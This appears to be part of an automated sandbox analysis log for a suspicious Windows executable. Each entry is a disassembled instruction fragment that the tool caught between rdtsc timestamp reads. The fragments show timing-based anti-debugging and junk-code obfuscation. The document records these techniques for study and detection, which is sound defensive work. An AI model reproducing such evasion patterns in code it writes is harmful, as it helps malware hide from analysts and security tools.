Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 51206C7 second address: 5120702 instructions: 0x00000000 rdtsc 0x00000002 mov si, AB8Dh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushfd 0x00000009 jmp 00007FB570775C5Ah 0x0000000e sbb esi, 76660FA8h 0x00000014 jmp 00007FB570775C5Bh 0x00000019 popfd 0x0000001a popad 0x0000001b xchg eax, esi 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FB570775C60h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5120702 second address: 5120706 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5120706 second address: 512070C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 512070C second address: 5120736 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 1D8A8523h 0x00000008 mov bx, si 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007FB57088F9E5h 0x00000014 xchg eax, esi 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5120736 second address: 512076D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FB570775C69h 0x0000000a add ecx, 58E61E86h 0x00000010 jmp 00007FB570775C61h 0x00000015 popfd 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 512076D second address: 5120773 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5120773 second address: 5120777 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5120777 second address: 5120796 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB57088F9E2h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5120796 second address: 51207A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB570775C5Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 51207A8 second address: 51207CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB57088F9DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c pushad 0x0000000d mov dx, ax 0x00000010 mov edi, esi 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov edx, esi 0x00000019 mov dx, cx 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 51207CB second address: 51207D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB570775C5Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5120863 second address: 5120872 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB57088F9DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5120872 second address: 51208B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB570775C69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, eax 0x0000000b pushad 0x0000000c movzx ecx, bx 0x0000000f mov edx, 4F54E40Ch 0x00000014 popad 0x00000015 je 00007FB570775CCDh 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FB570775C5Eh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 51208B1 second address: 51208B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5120901 second address: 5120906 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5120906 second address: 512090C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 512090C second address: 5120910 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5120910 second address: 511015D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, esi 0x0000000a jmp 00007FB57088F9E8h 0x0000000f pop esi 0x00000010 jmp 00007FB57088F9E0h 0x00000015 leave 0x00000016 jmp 00007FB57088F9E0h 0x0000001b retn 0004h 0x0000001e nop 0x0000001f sub esp, 04h 0x00000022 xor ebx, ebx 0x00000024 cmp eax, 00000000h 0x00000027 je 00007FB57088FB3Ah 0x0000002d mov dword ptr [esp], 0000000Dh 0x00000034 call 00007FB5751EBCA4h 0x00000039 mov edi, edi 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e jmp 00007FB57088F9DBh 0x00000043 call 00007FB57088F9E8h 0x00000048 pop eax 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 511015D second address: 511019F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, ax 0x00000006 movzx eax, bx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d jmp 00007FB570775C62h 0x00000012 mov dword ptr [esp], ebp 0x00000015 jmp 00007FB570775C60h 0x0000001a mov ebp, esp 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FB570775C5Ah 0x00000025 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 511019F second address: 51101A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 51101A5 second address: 51101AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 51101AA second address: 51101FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dx, si 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a sub esp, 2Ch 0x0000000d pushad 0x0000000e movzx esi, di 0x00000011 pushfd 0x00000012 jmp 00007FB57088F9E7h 0x00000017 and ecx, 5DD1CD6Eh 0x0000001d jmp 00007FB57088F9E9h 0x00000022 popfd 0x00000023 popad 0x00000024 xchg eax, ebx 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 51101FB second address: 5110201 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5110201 second address: 5110207 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5110207 second address: 511020B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 511020B second address: 5110230 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB57088F9DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FB57088F9DBh 0x00000011 xchg eax, ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5110230 second address: 5110236 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 511030D second address: 5110313 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5110313 second address: 511032E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB570775C5Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-14h], edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 511032E second address: 5110332 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5110332 second address: 5110336 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5110336 second address: 511033C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 51103DA second address: 51103DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 51103DE second address: 51103F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB57088F9E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 51103F4 second address: 5110434 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB570775C5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b pushad 0x0000000c mov ebx, eax 0x0000000e mov ch, A9h 0x00000010 popad 0x00000011 jg 00007FB5E1103CD7h 0x00000017 jmp 00007FB570775C63h 0x0000001c js 00007FB570775CD8h 0x00000022 pushad 0x00000023 mov eax, 1DC50A3Bh 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5110434 second address: 5110438 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5110438 second address: 5110456 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 cmp dword ptr [ebp-14h], edi 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB570775C64h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5110456 second address: 51104B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB57088F9E1h 0x00000009 jmp 00007FB57088F9DBh 0x0000000e popfd 0x0000000f mov esi, 65C93EDFh 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 jne 00007FB5E121D9F2h 0x0000001d pushad 0x0000001e mov ebx, esi 0x00000020 pushfd 0x00000021 jmp 00007FB57088F9DCh 0x00000026 jmp 00007FB57088F9E5h 0x0000002b popfd 0x0000002c popad 0x0000002d mov ebx, dword ptr [ebp+08h] 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 51104B5 second address: 51104B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 51104B9 second address: 51104BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 51104BF second address: 51104D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB570775C61h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 51104D4 second address: 5110544 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB57088F9E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b lea eax, dword ptr [ebp-2Ch] 0x0000000e jmp 00007FB57088F9DEh 0x00000013 xchg eax, esi 0x00000014 jmp 00007FB57088F9E0h 0x00000019 push eax 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007FB57088F9E1h 0x00000021 adc ch, FFFFFFD6h 0x00000024 jmp 00007FB57088F9E1h 0x00000029 popfd 0x0000002a mov ebx, esi 0x0000002c popad 0x0000002d xchg eax, esi 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 movsx edi, si 0x00000034 mov dx, ax 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5110544 second address: 511054A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 511054A second address: 51105E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB57088F9DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c pushad 0x0000000d push ecx 0x0000000e pushfd 0x0000000f jmp 00007FB57088F9DBh 0x00000014 or eax, 36F0CE6Eh 0x0000001a jmp 00007FB57088F9E9h 0x0000001f popfd 0x00000020 pop esi 0x00000021 mov esi, edx 0x00000023 popad 0x00000024 push eax 0x00000025 jmp 00007FB57088F9DAh 0x0000002a nop 0x0000002b pushad 0x0000002c mov cl, D3h 0x0000002e pushfd 0x0000002f jmp 00007FB57088F9E3h 0x00000034 or al, 0000002Eh 0x00000037 jmp 00007FB57088F9E9h 0x0000003c popfd 0x0000003d popad 0x0000003e xchg eax, ebx 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007FB57088F9DDh 0x00000046 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 511067D second address: 5110681 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5110681 second address: 5110687 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5110687 second address: 5110089 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB570775C66h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b jmp 00007FB570775C60h 0x00000010 je 00007FB5E1103BF8h 0x00000016 xor eax, eax 0x00000018 jmp 00007FB57074F38Ah 0x0000001d pop esi 0x0000001e pop edi 0x0000001f pop ebx 0x00000020 leave 0x00000021 retn 0004h 0x00000024 nop 0x00000025 sub esp, 04h 0x00000028 mov esi, eax 0x0000002a xor ebx, ebx 0x0000002c cmp esi, 00000000h 0x0000002f je 00007FB570775D95h 0x00000035 call 00007FB5750D1C9Ch 0x0000003a mov edi, edi 0x0000003c jmp 00007FB570775C67h 0x00000041 xchg eax, ebp 0x00000042 pushad 0x00000043 push esi 0x00000044 push edi 0x00000045 pop eax 0x00000046 pop edi 0x00000047 mov eax, 4D009523h 0x0000004c popad 0x0000004d push eax 0x0000004e jmp 00007FB570775C69h 0x00000053 xchg eax, ebp 0x00000054 jmp 00007FB570775C5Eh 0x00000059 mov ebp, esp 0x0000005b push eax 0x0000005c push edx 0x0000005d pushad 0x0000005e call 00007FB570775C5Dh 0x00000063 pop ecx 0x00000064 pushfd 0x00000065 jmp 00007FB570775C61h 0x0000006a sub ch, 00000036h 0x0000006d jmp 00007FB570775C61h 0x00000072 popfd 0x00000073 popad 0x00000074 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5110089 second address: 511008F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 511008F second address: 51100A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a mov ebx, eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 51100A0 second address: 51100E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], ecx 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FB57088F9E4h 0x00000010 and ah, FFFFFFB8h 0x00000013 jmp 00007FB57088F9DBh 0x00000018 popfd 0x00000019 mov edx, eax 0x0000001b popad 0x0000001c mov dword ptr [ebp-04h], 55534552h 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FB57088F9DCh 0x0000002c rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 51100E8 second address: 51100EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 511010E second address: 5110123 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 leave 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB57088F9DCh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 51109CD second address: 51109D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 51109D1 second address: 51109D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 51109D7 second address: 51109FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, FB61h 0x00000007 mov dx, cx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007FB570775C63h 0x00000013 xchg eax, ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 51109FE second address: 5110A05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5110A05 second address: 5110A0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5110A0B second address: 5110A42 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB57088F9E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FB57088F9E7h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5110A42 second address: 5110A5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, di 0x00000006 mov dh, 02h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [75AF459Ch], 05h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov eax, edx 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5110B3E second address: 5110B42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5110B42 second address: 5110B46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5110B46 second address: 5110B4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5110B4C second address: 5110B96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB570775C65h 0x00000008 pushfd 0x00000009 jmp 00007FB570775C60h 0x0000000e jmp 00007FB570775C65h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 test al, al 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5110B96 second address: 5110B9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5110B9A second address: 5110BA0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5110BA0 second address: 5110BBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, 91C7h 0x00000007 mov eax, 03758363h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f je 00007FB5E12037ACh 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 mov si, bx 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5110BBC second address: 5110BC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5110BC2 second address: 5110BE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [ebp+08h], 00002000h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov ch, 06h 0x00000014 jmp 00007FB57088F9DFh 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 512097F second address: 51209A3 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, 60015587h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, eax 0x0000000b popad 0x0000000c xchg eax, ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FB570775C65h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 51209A3 second address: 5120A3E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 pushfd 0x00000006 jmp 00007FB57088F9E3h 0x0000000b sub eax, 5FDE1DAEh 0x00000011 jmp 00007FB57088F9E9h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b jmp 00007FB57088F9E1h 0x00000020 xchg eax, ebp 0x00000021 jmp 00007FB57088F9DEh 0x00000026 mov ebp, esp 0x00000028 jmp 00007FB57088F9E0h 0x0000002d xchg eax, esi 0x0000002e pushad 0x0000002f call 00007FB57088F9DEh 0x00000034 mov dl, ch 0x00000036 pop ebx 0x00000037 jmp 00007FB57088F9DCh 0x0000003c popad 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 mov cx, 1E83h 0x00000045 movzx ecx, dx 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5120A3E second address: 5120A44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5120A44 second address: 5120A70 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB57088F9DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FB57088F9E7h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5120A70 second address: 5120ABC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB570775C69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+0Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov bh, 7Dh 0x00000011 pushfd 0x00000012 jmp 00007FB570775C64h 0x00000017 adc cx, B638h 0x0000001c jmp 00007FB570775C5Bh 0x00000021 popfd 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 5120ABC second address: 5120B0A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB57088F9E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FB57088F9DCh 0x00000012 sbb ch, FFFFFFC8h 0x00000015 jmp 00007FB57088F9DBh 0x0000001a popfd 0x0000001b push eax 0x0000001c mov cx, bx 0x0000001f pop edi 0x00000020 popad 0x00000021 je 00007FB5E11FD28Fh 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a mov al, A7h 0x0000002c popad 0x0000002d rdtsc
